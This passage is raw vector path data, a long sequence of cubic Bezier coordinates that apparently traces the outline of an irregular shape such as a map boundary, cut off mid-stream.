30770.00 68152.00 30770.00C68173.33 30780.67 68194.67 30791.33 68216.00 30802.00C68216.00 30877.00 68216.00 30952.00 68216.00 31027.00C68226.67 31027.00 68237.33 31027.00 68248.00 31027.00C68269.08 31048.92 68290.40 31070.60 68312.00 31092.00C68323.00 31081.33 68334.00 31070.67 68345.00 31060.00C68355.67 31081.33 68366.33 31102.67 68377.00 31124.00C68366.09 31145.45 68355.71 31167.29 68344.48 31188.51C68333.65 31199.01 68322.83 31209.50 68312.00 31220.00C68312.00 31231.00 68312.00 31242.00 68312.00 31253.00C68344.33 31263.67 68376.67 31274.33 68409.00 31285.00C68398.33 31306.33 68387.67 31327.67 68377.00 31349.00C68387.67 31359.67 68398.33 31370.33 68409.00 31381.00C68398.33 31402.33 68387.67 31423.67 68377.00 31445.00C68387.90 31466.79 68398.29 31488.96 68409.51 31510.51C68420.01 31521.01 68430.51 31531.51 68441.00 31542.00C68430.33 31563.33 68419.67 31584.67 68409.00 31606.00C68441.00 31595.33 68473.00 31584.67 68505.00 31574.00C68537.33 31595.33 68569.67 31616.67 68602.00 31638.00C68612.67 31627.33 68623.33 31616.67 68634.00 31606.00C68687.67 31627.33 68741.33 31648.67 68795.00 31670.00C68805.67 31670.00 68816.33 31670.00 68827.00 31670.00C68816.33 31691.67 68805.67 31713.33 68795.00 31735.00C68805.67 31745.67 68816.33 31756.33 68827.00 31767.00C68848.33 31745.67 68869.67 31724.33 68891.00 31703.00C68923.33 31692.00 68955.67 31681.00 68988.00 31670.00C68988.00 31659.33 68988.00 31648.67 68988.00 31638.00C68998.67 31638.00 69009.33 31638.00 69020.00 31638.00C69030.67 31627.33 69041.33 31616.67 69052.00 31606.00C69063.10 31606.30 69074.40 31605.40 69085.38 31606.46C69117.26 31616.97 69149.13 31627.49 69181.00 31638.00C69181.00 31606.00 69181.00 31574.00 69181.00 31542.00C69234.33 31563.33 69287.67 31584.67 69341.00 31606.00C69341.00 31616.67 69341.00 31627.33 69341.00 31638.00C69362.67 31638.00 69384.33 31638.00 69406.00 31638.00C69416.67 31648.67 69427.33 31659.33 69438.00 31670.00C69448.67 31670.00 69459.33 31670.00 69470.00 31670.00C69513.00 31627.33 69556.00 31584.67 69599.00 31542.00C69599.00 31531.33 69599.00 31520.67 69599.00 31510.00C69577.33 31499.33 69555.67 31488.67 69534.00 31478.00C69555.67 31456.33 69577.33 31434.67 69599.00 31413.00C69609.67 31413.00 69620.33 31413.00 69631.00 31413.00C69641.67 31391.67 69652.33 31370.33 69663.00 31349.00C69652.33 31338.33 69641.67 31327.67 69631.00 31317.00C69641.67 31306.33 69652.33 31295.67 69663.00 31285.00C69652.33 31274.33 69641.67 31263.67 69631.00 31253.00C69662.45 31220.12 69694.87 31188.21 69727.00 31156.00C69791.33 31156.00 69855.67 31156.00 69920.00 31156.00C69930.67 31166.67 69941.33 31177.33 69952.00 31188.00C69973.60 31166.63 69994.82 31144.73 70016.65 31123.68C70038.10 31113.12 70059.55 31102.56 70081.00 31092.00C70113.00 31092.00 70145.00 31092.00 70177.00 31092.00C70187.67 31070.33 70198.33 31048.67 70209.00 31027.00C70252.00 31027.00 70295.00 31027.00 70338.00 31027.00C70348.93 31016.29 70359.49 31005.06 70370.65 30994.68C70413.43 30973.45 70456.22 30952.22 70499.00 30931.00C70509.67 30931.00 70520.33 30931.00 70531.00 30931.00C70541.67 30909.67 70552.33 30888.33 70563.00 30867.00C70563.00 30834.67 70563.00 30802.33 70563.00 30770.00C70552.33 30770.00 70541.67 30770.00 70531.00 30770.00C70541.67 30738.00 70552.33 30706.00 70563.00 30674.00C70541.67 30652.33 70520.33 30630.67 70499.00 30609.00C70499.00 30577.00 70499.00 30545.00 70499.00 30513.00C70477.67 30513.00 70456.33 30513.00 70435.00 30513.00C70402.61 30481.06 70370.06 30449.28 70338.00 30417.00C70327.33 30395.33 70316.67 30373.67 70306.00 30352.00C70284.67 30341.33 70263.33 30330.67 70242.00 30320.00C70242.00 30298.67 70242.00 30277.33 70242.00 30256.00C70220.33 30266.67 70198.67 30277.33 70177.00 30288.00C70166.33 30266.67 70155.67 30245.33 70145.00 30224.00C70155.67 30213.00 70166.33 30202.00 70177.00 30191.00C70177.00 30169.67 70177.00 30148.33 70177.00 30127.00C70155.67 30116.33 70134.33 30105.67 70113.00 30095.00C70112.61 30079.99 70114.31 30064.81 70110.85 30050.06C70100.90 29990.04 70090.95 29930.02 70081.00 29870.00C70102.33 29859.33 70123.67 29848.67 70145.00 29838.00C70145.21 29827.14 70144.57 29816.08 70145.32 29805.35C70155.88 29783.90 70166.44 29762.45 70177.00 29741.00C70177.00 29719.67 70177.00 29698.33 70177.00 29677.00C70241.33 29634.00 70305.67 29591.00 70370.00 29548.00C70370.00 29526.67 70370.00 29505.33 70370.00 29484.00C70359.33 29473.33 70348.67 29462.67 70338.00 29452.00C70348.67 29441.33 70359.33 29430.67 70370.00 29420.00C70359.33 29409.33 70348.67 29398.67 70338.00 29388.00C70348.65 29376.71 70360.04 29365.88 70370.23 29354.31C70380.82 29322.54 70391.41 29290.77 70402.00 29259.00C70423.67 29248.33 70445.33 29237.67 70467.00 29227.00C70467.21 29216.14 70466.57 29205.08 70467.32 29194.35C70477.88 29172.90 70488.44 29151.45 70499.00 29130.00C70488.41 29097.74 70477.21 29065.59 70467.00 29033.27C70467.00 29022.85 70467.00 29012.42 70467.00 29002.00C70499.00 29002.00 70531.00 29002.00 70563.00 29002.00C70563.00 28959.00 70563.00 28916.00 70563.00 28873.00C70584.33 28851.67 70605.67 28830.33 70627.00 28809.00C70595.00 28766.00 70563.00 28723.00 70531.00 28680.00C70541.67 28669.33 70552.33 28658.67 70563.00 28648.00C70573.67 28605.00 70584.33 28562.00 70595.00 28519.00C70584.33 28487.00 70573.67 28455.00 70563.00 28423.00C70573.67 28412.33 70584.33 28401.67 70595.00 28391.00C70605.67 28401.67 70616.33 28412.33 70627.00 28423.00C70648.67 28412.33 70670.33 28401.67 70692.00 28391.00C70702.67 28369.67 70713.33 28348.33 70724.00 28327.00C70724.00 28305.33 70724.00 28283.67 70724.00 28262.00C70734.67 28251.33 70745.33 28240.67 70756.00 28230.00C70777.33 28240.67 70798.67 28251.33 70820.00 28262.00C70809.33 28240.67 70798.67 28219.33 70788.00 28198.00C70820.33 28165.67 70852.67 28133.33 70885.00 28101.00C70895.67 28101.00 70906.33 28101.00 70917.00 28101.00C70927.67 28079.67 70938.33 28058.33 70949.00 28037.00C70938.33 28026.33 70927.67 28015.67 70917.00 28005.00C70917.00 27994.33 70917.00 27983.67 70917.00 27973.00C70906.33 27962.33 70895.67 27951.67 70885.00 27941.00C70926.92 27855.60 70969.74 27770.65 71011.84 27685.34C71014.34 27679.71 71012.38 27673.03 71013.00 27666.97C71013.00 27629.64 71013.00 27592.32 71013.00 27555.00C71056.00 27512.00 71099.00 27469.00 71142.00 27426.00C71131.33 27415.33 71120.67 27404.67 71110.00 27394.00C71131.33 27394.00 71152.67 27394.00 71174.00 27394.00C71195.33 27362.00 71216.67 27330.00 71238.00 27298.00C71270.33 27287.33 71302.67 27276.67 71335.00 27266.00C71324.33 27244.33 71313.67 27222.67 71303.00 27201.00C71313.67 27190.33 71324.33 27179.67 71335.00 27169.00C71335.00 27137.00 71335.00 27105.00 71335.00 27073.00C71356.33 27051.33 71377.67 27029.67 71399.00 27008.00C71377.67 26986.67 71356.33 26965.33 71335.00 26944.00C71335.00 26922.67 71335.00 26901.33 71335.00 26880.00C71367.00 26847.67 71399.00 26815.33 71431.00 26783.00C71431.00 26772.33 71431.00 26761.67 71431.00 26751.00C71485.29 26729.28 71539.79 26708.02 71593.96 26686.02C71614.76 26675.45 71635.94 26665.38 71656.51 26654.49C71678.01 26632.99 71699.51 26611.49 71721.00 26590.00C71731.67 26483.00 71742.33 26376.00 71753.00 26269.00C71774.33 26215.33 71795.67 26161.67 71817.00 26108.00C73617.67 26108.00 75418.33 26108.00 77219.00 26108.00C77219.00 26569.00 77219.00 27030.00 77219.00 27491.00C77229.67 27512.33 77240.33 27533.67 77251.00 27555.00C77251.00 27597.67 77251.00 27640.33 77251.00 27683.00C77261.67 27694.00 77272.33 27705.00 77283.00 27716.00C77293.67 27716.00 77304.33 27716.00 77315.00 27716.00C77336.67 27737.33 77358.33 27758.67 77380.00 27780.00C77369.00 27876.33 77358.00 27972.67 77347.00 28069.00C77358.00 28079.67 77369.00 28090.33 77380.00 28101.00C77380.00 28122.67 77380.00 28144.33 77380.00 28166.00C77347.67 28230.33 77315.33 28294.67 77283.00 28359.00C77283.10 28412.57 77282.81 28466.17 77283.14 28519.72C77293.76 28573.14 77304.38 28626.57 77315.00 28680.00C77325.67 28680.00 77336.33 28680.00 77347.00 28680.00C77347.00 28712.33 77347.00 28744.67 77347.00 28777.00C77336.33 28798.33 77325.67 28819.67 77315.00 28841.00C77315.00 28916.00 77315.00 28991.00 77315.00 29066.00C77358.24 29098.40 77401.29 29131.11 77444.65 29163.32C77487.43 29184.55 77530.22 29205.78 77573.00 29227.00C77573.00 29237.67 77573.00 29248.33 77573.00 29259.00C77605.00 29259.00 77637.00 29259.00 77669.00 29259.00C77669.00 29269.67 77669.00 29280.33 77669.00 29291.00C77679.67 29280.33 77690.33 29269.67 77701.00 29259.00C77722.33 29269.67 77743.67 29280.33 77765.00 29291.00C77786.67 29323.33 77808.33 29355.67 77830.00 29388.00C77862.00 29398.67 77894.00 29409.33 77926.00 29420.00C77936.67 29452.00 77947.33 29484.00 77958.00 29516.00C77969.00 29516.00 77980.00 29516.00 77991.00 29516.00C78001.67 29526.67 78012.33 29537.33 78023.00 29548.00C78012.33 29601.67 78001.67 29655.33 77991.00 29709.00C78001.67 29752.00 78012.33 29795.00 78023.00 29838.00C78033.71 29848.93 78044.93 29859.49 78055.33 29870.65C78065.88 29891.77 78076.44 29912.88 78087.00 29934.00C78087.00 29977.00 78087.00 30020.00 78087.00 30063.00C78076.33 30084.33 78065.67 30105.67 78055.00 30127.00C78033.67 30127.00 78012.33 30127.00 77991.00 30127.00C77991.00 30159.33 77991.00 30191.67 77991.00 30224.00C78001.67 30234.67 78012.33 30245.33 78023.00 30256.00C78023.00 30288.00 78023.00 30320.00 78023.00 30352.00C78012.33 30362.67 78001.67 30373.33 77991.00 30384.00C77991.00 30405.67 77991.00 30427.33 77991.00 30449.00C78012.33 30470.33 78033.67 30491.67 78055.00 30513.00C78055.00 30523.67 78055.00 30534.33 78055.00 30545.00C78065.67 30545.00 78076.33 30545.00 78087.00 30545.00C78097.61 30588.25 78108.68 30631.44 78119.00 30674.73C78119.00 30685.15 78119.00 30695.58 78119.00 30706.00C78151.33 30716.67 78183.67 30727.33 78216.00 30738.00C78248.00 30770.00 78280.00 30802.00 78312.00 30834.00C78312.00 30845.00 78312.00 30856.00 78312.00 30867.00C78322.67 30877.67 78333.33 30888.33 78344.00 30899.00C78354.67 30888.33 78365.33 30877.67 78376.00 30867.00C78397.67 30877.67 78419.33 30888.33 78441.00 30899.00C78473.00 30963.33 78505.00 31027.67 78537.00 31092.00C78558.33 31102.67 78579.67 31113.33 78601.00 31124.00C78622.67 31124.00 78644.33 31124.00 78666.00 31124.00C78666.00 31134.67 78666.00 31145.33 78666.00 31156.00C78687.33 31177.33 78708.67 31198.67 78730.00 31220.00C78740.67 31220.00 78751.33 31220.00 78762.00 31220.00C78762.00 31231.00 78762.00 31242.00 78762.00 31253.00C78772.67 31263.67 78783.33 31274.33 78794.00 31285.00C78794.00 31295.67 78794.00 31306.33 78794.00 31317.00C78858.33 31359.67 78922.67 31402.33 78987.00 31445.00C78987.00 31456.00 78987.00 31467.00 78987.00 31478.00C78997.67 31478.00 79008.33 31478.00 79019.00 31478.00C79030.00 31467.00 79041.00 31456.00 79052.00 31445.00C79062.67 31456.00 79073.33 31467.00 79084.00 31478.00C79094.67 31467.00 79105.33 31456.00 79116.00 31445.00C79116.00 31466.67 79116.00 31488.33 79116.00 31510.00C79126.67 31531.33 79137.33 31552.67 79148.00 31574.00C79158.67 31574.00 79169.33 31574.00 79180.00 31574.00C79190.67 31595.33 79201.33 31616.67 79212.00 31638.00C79222.67 31638.00 79233.33 31638.00 79244.00 31638.00C79244.00 31627.33 79244.00 31616.67 79244.00 31606.00C79255.00 31606.00 79266.00 31606.00 79277.00 31606.00C79319.67 31638.33 79362.33 31670.67 79405.00 31703.00C79405.00 31713.67 79405.00 31724.33 79405.00 31735.00C79373.00 31745.67 79341.00 31756.33 79309.00 31767.00C79319.67 31788.33 79330.33 31809.67 79341.00 31831.00C79330.33 31863.33 79319.67 31895.67 79309.00 31928.00C79351.67 31960.00 79394.33 31992.00 79437.00 32024.00C79437.00 32045.67 79437.00 32067.33 79437.00 32089.00C79458.67 32099.67 79480.33 32110.33 79502.00 32121.00C79502.00 32142.33 79502.00 32163.67 79502.00 32185.00C79491.28 32195.93 79480.08 32206.50 79469.67 32217.65C79458.78 32238.76 79447.89 32259.88 79437.00 32281.00C79448.00 32292.00 79459.00 32303.00 79470.00 32314.00C79459.00 32346.00 79448.00 32378.00 79437.00 32410.00C79458.67 32431.33 79480.33 32452.67 79502.00 32474.00C79534.00 32474.00 79566.00 32474.00 79598.00 32474.00C79641.00 32517.00 79684.00 32560.00 79727.00 32603.00C79727.00 32646.00 79727.00 32689.00 79727.00 32732.00C79737.67 32742.67 79748.33 32753.33 79759.00 32764.00C79759.00 32774.67 79759.00 32785.33 79759.00 32796.00C79769.67 32806.67 79780.33 32817.33 79791.00 32828.00C79801.67 32817.33 79812.33 32806.67 79823.00 32796.00C79833.67 32828.00 79844.33 32860.00 79855.00 32892.00C79887.33 32903.00 79919.67 32914.00 79952.00 32925.00C79941.33 32946.33 79930.67 32967.67 79920.00 32989.00C80005.67 32978.33 80091.33 32967.67 80177.00 32957.00C80177.00 32946.33 80177.00 32935.67 80177.00 32925.00C80198.33 32925.00 80219.67 32925.00 80241.00 32925.00C80262.67 32967.67 80284.33 33010.33 80306.00 33053.00C80348.67 33063.67 80391.33 33074.33 80434.00 33085.00C80466.33 33138.67 80498.67 33192.33 80531.00 33246.00C80552.33 33256.67 80573.67 33267.33 80595.00 33278.00C80627.00 33321.00 80659.00 33364.00 80691.00 33407.00C80702.65 33395.28 80715.20 33384.39 80726.27 33372.15C80768.56 33319.13 80810.53 33265.81 80853.03 33212.97C80863.35 33202.65 80873.68 33192.32 80884.00 33182.00C80884.00 33149.67 80884.00 33117.33 80884.00 33085.00C80927.00 33074.33 80970.00 33063.67 81013.00 33053.00C81034.33 33031.67 81055.67 33010.33 81077.00 32989.00C81066.33 32978.33 81055.67 32967.67 81045.00 32957.00C81055.67 32935.33 81066.33 32913.67 81077.00 32892.00C81141.33 32849.33 81205.67 32806.67 81270.00 32764.00C81280.86 32764.22 81291.92 32763.57 81302.65 32764.32C81324.10 32774.88 81345.55 32785.44 81367.00 32796.00C81377.67 32817.33 81388.33 32838.67 81399.00 32860.00C81399.30 32871.11 81398.40 32882.40 81399.46 32893.38C81409.97 32925.26 81420.49 32957.13 81431.00 32989.00C81474.00 32999.67 81517.00 33010.33 81560.00 33021.00C81570.67 33031.67 81581.33 33042.33 81592.00 33053.00C81591.85 33074.55 81592.30 33096.20 81591.77 33117.69C81581.18 33149.79 81570.59 33181.90 81560.00 33214.00C81581.33 33235.33 81602.67 33256.67 81624.00 33278.00C81624.00 33310.33 81624.00 33342.67 81624.00 33375.00C81613.35 33385.96 81601.94 33396.44 81591.77 33407.69C81559.51 33503.79 81527.26 33599.90 81495.00 33696.00C81495.00 33728.33 81495.00 33760.67 81495.00 33793.00C81484.33 33803.67 81473.67 33814.33 81463.00 33825.00C81463.00 33867.67 81463.00 33910.33 81463.00 33953.00C81484.33 33974.67 81505.67 33996.33 81527.00 34018.00C81548.67 34018.00 81570.33 34018.00 81592.00 34018.00C81581.33 34028.67 81570.67 34039.33 81560.00 34050.00C81560.00 34071.33 81560.00 34092.67 81560.00 34114.00C81592.00 34124.67 81624.00 34135.33 81656.00 34146.00C81656.00 34178.33 81656.00 34210.67 81656.00 34243.00C81666.86 34242.78 81677.92 34243.43 81688.65 34242.67C81709.77 34232.12 81730.88 34221.56 81752.00 34211.00C81784.33 34221.67 81816.67 34232.33 81849.00 34243.00C81859.67 34253.67 81870.33 34264.33 81881.00 34275.00C81870.33 34296.33 81859.67 34317.67 81849.00 34339.00C81859.67 34349.67 81870.33 34360.33 81881.00 34371.00C81891.67 34360.33 81902.33 34349.67 81913.00 34339.00C81923.67 34360.33 81934.33 34381.67 81945.00 34403.00C81977.33 34381.67 82009.67 34360.33 82042.00 34339.00C82063.55 34339.15 82085.20 34338.69 82106.69 34339.23C82138.79 34349.82 82170.90 34360.41 82203.00 34371.00C82203.00 34381.67 82203.00 34392.33 82203.00 34403.00C82235.00 34414.00 82267.00 34425.00 82299.00 34436.00C82299.00 34446.67 82299.00 34457.33 82299.00 34468.00C82309.67 34468.00 82320.33 34468.00 82331.00 34468.00C82341.67 34500.00 82352.33 34532.00 82363.00 34564.00C82374.04 34574.93 82385.62 34585.47 82396.32 34596.65C82406.88 34618.10 82417.44 34639.55 82428.00 34661.00C82449.33 34661.00 82470.67 34661.00 82492.00 34661.00C82492.00 34693.00 82492.00 34725.00 82492.00 34757.00C82502.86 34756.78 82513.92 34757.43 82524.65 34756.67C82545.77 34746.12 82566.88 34735.56 82588.00 34725.00C82609.67 34735.67 82631.33 34746.33 82653.00 34757.00C82653.00 34746.33 82653.00 34735.67 82653.00 34725.00C82685.00 34735.67 82717.00 34746.33 82749.00 34757.00C82770.33 34746.33 82791.67 34735.67 82813.00 34725.00C82813.00 34778.67 82813.00 34832.33 82813.00 34886.00C82835.08 34928.46 82856.75 34971.12 82878.00 35014.00C82867.33 35035.67 82856.67 35057.33 82846.00 35079.00C82867.33 35079.00 82888.67 35079.00 82910.00 35079.00C82931.33 35111.00 82952.67 35143.00 82974.00 35175.00C83006.33 35153.67 83038.67 35132.33 83071.00 35111.00C83081.67 35121.67 83092.33 35132.33 83103.00 35143.00C83167.33 35132.33 83231.67 35121.67 83296.00 35111.00C83296.00 35100.33 83296.00 35089.67 83296.00 35079.00C83306.67 35068.33 83317.33 35057.67 83328.00 35047.00C83349.33 35068.33 83370.67 35089.67 83392.00 35111.00C83381.33 35121.67 83370.67 35132.33 83360.00 35143.00C83370.67 35164.33 83381.33 35185.67 83392.00 35207.00C83402.67 35196.33 83413.33 35185.67 83424.00 35175.00C83456.33 35196.33 83488.67 35217.67 83521.00 35239.00C83553.00 35239.00 83585.00 35239.00 83617.00 35239.00C83627.67 35271.33 83638.33 35303.67 83649.00 35336.00C83670.67 35336.00 83692.33 35336.00 83714.00 35336.00C83703.33 35379.00 83692.67 35422.00 83682.00 35465.00C83714.00 35443.33 83746.00 35421.67 83778.00 35400.00C83788.90 35421.79 83799.29 35443.96 83810.51 35465.51C83821.01 35476.01 83831.51 35486.50 83842.00 35497.00C83863.67 35486.33 83885.33 35475.67 83907.00 35465.00C83907.00 35486.33 83907.00 35507.67 83907.00 35529.00C83917.67 35550.33 83928.33 35571.67 83939.00 35593.00C84003.33 35571.67 84067.67 35550.33 84132.00 35529.00C84131.78 35539.86 84132.43 35550.92 84131.67 35561.65C84121.12 35582.77 84110.56 35603.88 84100.00 35625.00C84121.33 35636.00 84142.67 35647.00 84164.00 35658.00C84185.33 35625.67 84206.67 35593.33 84228.00 35561.00C84249.67 35561.00 84271.33 35561.00 84293.00 35561.00C84293.00 35582.33 84293.00 35603.67 84293.00 35625.00C84303.67 35636.00 84314.33 35647.00 84325.00 35658.00C84335.67 35658.00 84346.33 35658.00 84357.00 35658.00C84357.00 35679.33 84357.00 35700.67 84357.00 35722.00C84335.67 35732.67 84314.33 35743.33 84293.00 35754.00C84303.67 35775.33 84314.33 35796.67 84325.00 35818.00C84357.00 35796.67 84389.00 35775.33 84421.00 35754.00C84453.33 35786.00 84485.67 35818.00 84518.00 35850.00C84539.33 35839.33 84560.67 35828.67 84582.00 35818.00C84571.33 35796.67 84560.67 35775.33 84550.00 35754.00C84582.18 35764.86 84614.57 35775.26 84646.61 35786.40C84678.74 35807.60 84710.87 35828.80 84743.00 35850.00C84753.67 35818.00 84764.33 35786.00 84775.00 35754.00C84817.67 35754.00 84860.33 35754.00 84903.00 35754.00C84903.00 35764.67 84903.00 35775.33 84903.00 35786.00C84914.00 35786.00 84925.00 35786.00 84936.00 35786.00C84946.67 35764.67 84957.33 35743.33 84968.00 35722.00C84968.00 35711.33 84968.00 35700.67 84968.00 35690.00C84978.67 35690.00 84989.33 35690.00 85000.00 35690.00C85010.67 35700.67 85021.33 35711.33 85032.00 35722.00C85021.33 35732.67 85010.67 35743.33 85000.00 35754.00C85010.93 35764.71 85021.49 35775.93 85032.65 35786.33C85053.77 35796.88 85074.88 35807.44 85096.00 35818.00C85107.00 35818.00 85118.00 35818.00 85129.00 35818.00C85139.93 35807.29 85150.49 35796.07 85161.65 35785.67C85182.77 35775.12 85203.88 35764.56 85225.00 35754.00C85235.67 35775.33 85246.33 35796.67 85257.00 35818.00C85267.67 35818.00 85278.33 35818.00 85289.00 35818.00C85299.67 35807.33 85310.33 35796.67 85321.00 35786.00C85332.00 35807.33 85343.00 35828.67 85354.00 35850.00C85375.33 35828.67 85396.67 35807.33 85418.00 35786.00C85417.66 35797.36 85418.68 35808.87 85417.47 35820.12C85406.98 35862.42 85396.49 35904.71 85386.00 35947.00C85396.67 35957.67 85407.33 35968.33 85418.00 35979.00C85418.00 35989.67 85418.00 36000.33 85418.00 36011.00C85471.67 36011.00 85525.33 36011.00 85579.00 36011.00C85600.33 36054.00 85621.67 36097.00 85643.00 36140.00C85675.00 36107.67 85707.00 36075.33 85739.00 36043.00C85760.67 36064.67 85782.33 36086.33 85804.00 36108.00C85804.00 36129.33 85804.00 36150.67 85804.00 36172.00C85825.46 36182.90 85847.28 36193.30 85868.51 36204.51C85879.01 36215.01 85889.51 36225.50 85900.00 36236.00C85900.00 36246.67 85900.00 36257.33 85900.00 36268.00C85878.67 36289.67 85857.33 36311.33 85836.00 36333.00C85846.67 36365.00 85857.33 36397.00 85868.00 36429.00C85889.33 36450.67 85910.67 36472.33 85932.00 36494.00C85964.33 36569.00 85996.67 36644.00 86029.00 36719.00C86039.67 36729.67 86050.33 36740.33 86061.00 36751.00C86125.33 36740.33 86189.67 36729.67 86254.00 36719.00C86264.90 36740.46 86275.30 36762.28 86286.51 36783.51C86307.68 36804.68 86328.84 36825.84 86350.00 36847.00C86361.00 36879.33 86372.00 36911.67 86383.00 36944.00C86393.67 36954.67 86404.33 36965.33 86415.00 36976.00C86479.58 36986.63 86544.13 36997.57 86608.73 37008.00C86619.15 37008.00 86629.58 37008.00 86640.00 37008.00C86651.13 37018.86 86661.77 37030.32 86673.21 37040.81C86704.81 37061.87 86736.40 37082.94 86768.00 37104.00C86800.33 37147.00 86832.67 37190.00 86865.00 37233.00C86886.33 37243.67 86907.67 37254.33 86929.00 37265.00C87014.67 37265.00 87100.33 37265.00 87186.00 37265.00C87229.00 37243.67 87272.00 37222.33 87315.00 37201.00C87336.33 37201.00 87357.67 37201.00 87379.00 37201.00C87411.39 37232.94 87443.94 37264.72 87476.00 37297.00C87486.59 37329.59 87497.79 37362.08 87508.00 37394.73C87508.00 37437.15 87508.00 37479.58 87508.00 37522.00C87497.33 37554.33 87486.67 37586.67 87476.00 37619.00C87443.55 37651.22 87410.88 37683.25 87378.57 37715.58C87346.71 37758.39 87314.85 37801.19 87283.00 37844.00C87283.00 37887.00 87283.00 37930.00 87283.00 37973.00C87293.67 37983.67 87304.33 37994.33 87315.00 38005.00C87336.55 38005.15 87358.20 38004.69 87379.69 38005.23C87443.85 38026.33 87507.95 38047.59 87572.00 38069.00C87582.67 38090.33 87593.33 38111.67 87604.00 38133.00C87636.33 38154.67 87668.67 38176.33 87701.00 38198.00C87743.67 38198.00 87786.33 38198.00 87829.00 38198.00C87861.59 38187.08 87894.07 38175.53 87926.73 38165.00C87947.82 38165.00 87968.91 38165.00 87990.00 38165.00C88000.67 38176.00 88011.33 38187.00 88022.00 38198.00C88033.00 38187.00 88044.00 38176.00 88055.00 38165.00C88065.61 38122.08 88076.69 38079.22 88087.00 38036.27C88087.00 38025.85 88087.00 38015.42 88087.00 38005.00C88108.33 38005.00 88129.67 38005.00 88151.00 38005.00C88161.67 38015.67 88172.33 38026.33 88183.00 38037.00C88204.33 38026.33 88225.67 38015.67 88247.00 38005.00C88258.00 37983.33 88269.00 37961.67 88280.00 37940.00C88312.00 37929.33 88344.00 37918.67 88376.00 37908.00C88397.33 37886.67 88418.67 37865.33 88440.00 37844.00C88472.33 37844.00 88504.67 37844.00 88537.00 37844.00C88579.67 37897.67 88622.33 37951.33 88665.00 38005.00C88676.26 37994.28 88687.18 37983.10 88698.65 37972.67C88740.89 37950.70 88783.34 37929.14 88826.00 37908.00C88858.33 37940.33 88890.67 37972.67 88923.00 38005.00C88944.33 38005.00 88965.67 38005.00 88987.00 38005.00C89019.00 37983.33 89051.00 37961.67 89083.00 37940.00C89094.00 37918.67 89105.00 37897.33 89116.00 37876.00C89137.33 37865.33 89158.67 37854.67 89180.00 37844.00C89212.26 37854.59 89244.41 37865.79 89276.73 37876.00C89308.82 37876.00 89340.91 37876.00 89373.00 37876.00C89394.33 37865.33 89415.67 37854.67 89437.00 37844.00C89447.67 37811.67 89458.33 37779.33 89469.00 37747.00C89479.67 37747.00 89490.33 37747.00 89501.00 37747.00C89501.00 37725.67 89501.00 37704.33 89501.00 37683.00C89512.26 37672.29 89523.18 37661.08 89534.65 37650.67C89556.02 37640.11 89577.24 37629.14 89598.71 37618.82C89641.47 37608.22 89684.24 37597.61 89727.00 37587.00C89769.67 37533.33 89812.33 37479.67 89855.00 37426.00C89887.33 37436.67 89919.67 37447.33 89952.00 37458.00C89984.00 37426.00 90016.00 37394.00 90048.00 37362.00C90112.33 37362.00 90176.67 37362.00 90241.00 37362.00C90316.00 37340.33 90391.00 37318.67 90466.00 37297.00C90465.79 37307.86 90466.43 37318.92 90465.68 37329.65C90454.52 37351.88 90444.05 37374.49 90432.45 37396.47C90378.74 37482.39 90324.70 37568.12 90271.19 37654.16C90228.79 37728.11 90186.40 37802.05 90144.00 37876.00C90101.12 37919.12 90058.42 37962.46 90015.41 38005.43C89971.57 38037.92 89928.00 38070.80 89883.97 38103.03C89820.41 38145.43 89756.98 38188.05 89693.35 38230.33C89586.57 38283.89 89479.78 38337.44 89373.00 38391.00C89319.33 38401.67 89265.67 38412.33 89212.00 38423.00C89179.85 38444.54 89147.49 38465.80 89115.48 38487.51C89104.64 38498.28 89093.16 38508.62 89082.71 38519.67C89050.33 38595.30 89018.33 38671.10 88985.71 38746.62C88975.48 38767.41 88965.24 38788.21 88955.00 38809.00C88955.00 38841.00 88955.00 38873.00 88955.00 38905.00C88943.97 38926.68 88933.53 38948.72 88922.13 38970.17C88858.09 39055.78 88794.04 39141.39 88730.00 39227.00C88730.00 39237.67 88730.00 39248.33 88730.00 39259.00C88740.96 39269.64 88751.44 39281.06 88762.69 39291.23C88794.87 39302.10 88827.25 39312.47 88859.31 39323.64C88880.54 39334.10 88901.77 39344.55 88923.00 39355.00C88944.33 39355.00 88965.67 39355.00 88987.00 39355.00C88997.67 39365.67 89008.33 39376.33 89019.00 39387.00C88954.90 39532.10 88891.16 39677.36 88826.24 39822.09C88761.47 39967.03 88696.93 40112.08 88632.02 40256.96C88546.62 40428.21 88461.04 40599.38 88375.74 40770.68C88321.93 40910.22 88268.34 41049.85 88214.39 41189.33C88095.46 41449.55 87976.33 41709.69 87857.53 41969.98C87676.69 42373.65 87495.84 42777.33 87315.00 43181.00C87304.31 43192.27 87293.03 43203.15 87282.71 43214.67C87216.87 43367.99 87151.32 43521.43 87085.30 43674.67C86968.62 43939.47 86851.74 44204.18 86735.19 44469.03C86692.08 44577.23 86649.31 44685.57 86605.99 44793.69C86541.59 44943.66 86477.46 45093.75 86412.89 45243.64C86302.58 45486.03 86192.51 45728.53 86082.05 45970.84C85713.08 46774.01 85343.99 47577.12 84975.10 48380.33C84511.65 49391.45 84048.13 50402.54 83584.72 51413.67C83477.59 51670.88 83370.60 51928.15 83263.39 52185.32C83123.69 52486.56 82983.81 52787.71 82844.23 53089.00C82596.94 53647.65 82349.79 54206.36 82102.41 54764.97C81471.15 56166.53 80839.97 57568.12 80208.67 58969.65C80198.12 58990.77 80187.56 59011.88 80177.00 59033.00C80155.67 59043.67 80134.33 59054.33 80113.00 59065.00C80113.00 59075.67 80113.00 59086.33 80113.00 59097.00C80059.33 59097.00 80005.67 59097.00 79952.00 59097.00C79941.33 59107.67 79930.67 59118.33 79920.00 59129.00C79909.33 59182.67 79898.67 59236.33 79888.00 59290.00C79876.38 59312.09 79865.46 59334.60 79853.39 59356.43C79832.60 59387.96 79811.80 59419.48 79791.00 59451.00C79759.00 59461.67 79727.00 59472.33 79695.00 59483.00C79609.00 59558.00 79523.00 59633.00 79437.00 59708.00C79405.00 59761.67 79373.00 59815.33 79341.00 59869.00C79308.67 59901.00 79276.33 59933.00 79244.00 59965.00C79222.67 60008.00 79201.33 60051.00 79180.00 60094.00C79180.00 60233.33 79180.00 60372.67 79180.00 60512.00C79201.33 60544.00 79222.67 60576.00 79244.00 60608.00C79255.12 60661.89 79265.96 60715.85 79277.25 60769.68C79319.83 60887.46 79362.42 61005.23 79405.00 61123.00C79448.00 61176.67 79491.00 61230.33 79534.00 61284.00C79555.33 61294.67 79576.67 61305.33 79598.00 61316.00C79608.67 61348.00 79619.33 61380.00 79630.00 61412.00C79641.46 61412.24 79653.03 61411.52 79664.41 61412.35C79706.61 61422.90 79748.80 61433.45 79791.00 61444.00C79827.79 61481.48 79864.60 61518.93 79902.26 61555.53C79908.37 61562.11 79915.78 